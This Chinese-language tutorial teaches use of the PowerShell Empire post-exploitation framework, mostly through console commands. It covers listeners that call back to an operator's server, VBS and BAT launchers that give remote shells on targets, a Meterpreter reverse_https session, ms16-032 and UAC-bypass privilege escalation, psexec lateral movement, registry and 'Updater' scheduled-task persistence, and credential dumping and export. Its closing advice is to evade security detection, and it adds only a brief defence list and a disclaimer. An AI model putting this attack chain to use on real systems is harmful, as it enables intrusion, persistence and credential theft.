PowerShell Empire实战入门篇
字数 1695 2025-08-18 11:36:57
PowerShell Empire 实战入门教程
一、Empire 简介
PowerShell Empire(简称"帝国")是一款针对Windows系统的内网渗透工具,具有以下特点:
- 无需powershell.exe即可运行PowerShell代理
- 快速部署后渗透模块(按键记录、Mimikatz等)
- 具备逃避网络检测的能力
- 适应性强的通信机制
- 类似Meterpreter的易用框架
官方网站:http://powershellempire.com/
二、环境安装
系统要求
- 推荐:Debian/Ubuntu/Kali Linux
- 不推荐:CentOS
安装步骤
git clone https://github.com/EmpireProject/Empire.git
cd Empire/setup
sudo ./install.sh
安装过程中会提示输入服务协商密码,可直接回车使用随机生成的密码。
三、基本使用
1. 监听器设置
查看可用监听器类型:
(Empire: listeners) > uselistener [Tab键自动补全]
共有7种监听模式。
设置HTTP监听器示例:
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Name xiaobai
(Empire: listeners/http) > set Host [服务器IP]
(Empire: listeners/http) > execute
查看激活的监听器:
(Empire: listeners/http) > listeners
删除监听器:
(Empire: Listeners) > kill [监听器名称]
2. 生成木马程序
Empire提供多种木马生成模块(共26个),分为:
- multi:通用模块
- osx:Mac操作系统
- linux:Linux系统
- windows:Windows系统
生成的文件类型包括:.dll、.bat、.vbs等。
(1) launcher模块
usestager [具体模块]
示例(Python):
usestager multi/launcher
set Listener xiaobai
execute
生成的Payload是Base64编码的,可直接在目标系统执行。
(2) vbs反弹shell
usestager windows/launcher_vbs
set Listener xiaobai
execute
生成的launcher.vbs文件位于/tmp/目录下,在目标系统执行即可获得权限。
(3) bat文件生成
usestager windows/launcher_bat
set Listener xiaobai
execute
生成的launcher.bat文件执行后会快速闪过cmd窗口。
3. 代理管理
查看已激活代理:
agents
注意:Username带有(*)的是已提权成功的代理。
与代理交互:
interact [代理名称]
在代理会话中执行命令:
shell [命令]
删除代理:
kill [代理名称]:彻底删除remove [代理名称]:仅移除(需先kill监听器)
四、模块使用
Empire 2.3包含204个模块,主要分类如下:
- code_execution - 代码执行
- collection - 信息收集(屏幕截图、键盘记录、剪贴板记录等)
- credentials - 密码凭据获取和转储
- exfiltration - 指定IP端口扫描
- lateral_movement - 横向渗透
- management - 系统设置和邮件信息收集
- persistence - 权限维持
- privesc - 权限提升
- recon - 侦察
- situational_awareness - 主机和网络环境评估
- trollsploit - 恶作剧
1. 与Metasploit联动
使用Empire派生meterpreter shell:
usemodule code_execution/invoke_shellcode
set Lport [端口]
set Lhost [MSF服务器IP]
execute
MSF设置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set Lhost [IP]
set Lport [端口]
exploit
2. 提权模块
(1) ms16-032提权
usemodule privesc/ms16-032
set Listener [监听器名称]
execute
(2) UAC绕过
usemodule privesc/bypassuac
set Listener [监听器名称]
execute
需要目标主机用户点击确认两次。
(3) AllChecks模块
usemodule privesc/powerup/allchecks
execute
检查所有可能的提权方法。
3. 信息收集
(1) ARP扫描
usemodule situational_awareness/network/arpscan
set Range [IP范围,如192.168.1.0-192.168.1.254]
execute
(2) 会话注入
usemodule management/psinject
set ProcId [进程ID]
set Listener [监听器名称]
execute
4. 横向移动
psexec模块
usemodule lateral_movement/invoke_psexec
set ComputerName [目标IP]
set Listener [监听器名称]
execute
五、权限维持
1. 注册表持久化
usemodule persistence/elevated/registry
set Listener [监听器名称]
execute
会在注册表HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug添加启动项。
2. 计划任务持久化
usemodule persistence/elevated/schtasks
set Listener [监听器名称]
set DailyTime [执行时间,如22:30]
execute
会在任务计划程序库创建名为"Updater"的任务。
六、实用技巧
- 查看模块信息:在任何模块中使用
info命令查看详细参数 - Tab补全:输入命令时按Tab键可自动补全
- 帮助系统:使用
help命令查看当前上下文可用的命令 - 凭证导出:
creds # 查看所有hash值 creds export /path/to/file.csv # 导出凭证
七、防御建议
- 监控异常PowerShell活动
- 限制PowerShell执行策略
- 启用高级威胁防护
- 监控注册表和计划任务异常修改
- 保持系统和安全软件更新
八、总结
PowerShell Empire是一款功能强大的内网渗透工具,通过本文介绍的基本使用方法,可以完成从初始访问到权限维持的完整攻击链。实际使用中需要根据目标环境灵活选择模块和攻击方式,同时注意规避安全检测。
注意:本文仅用于安全研究和防御技术学习,未经授权不得用于非法用途。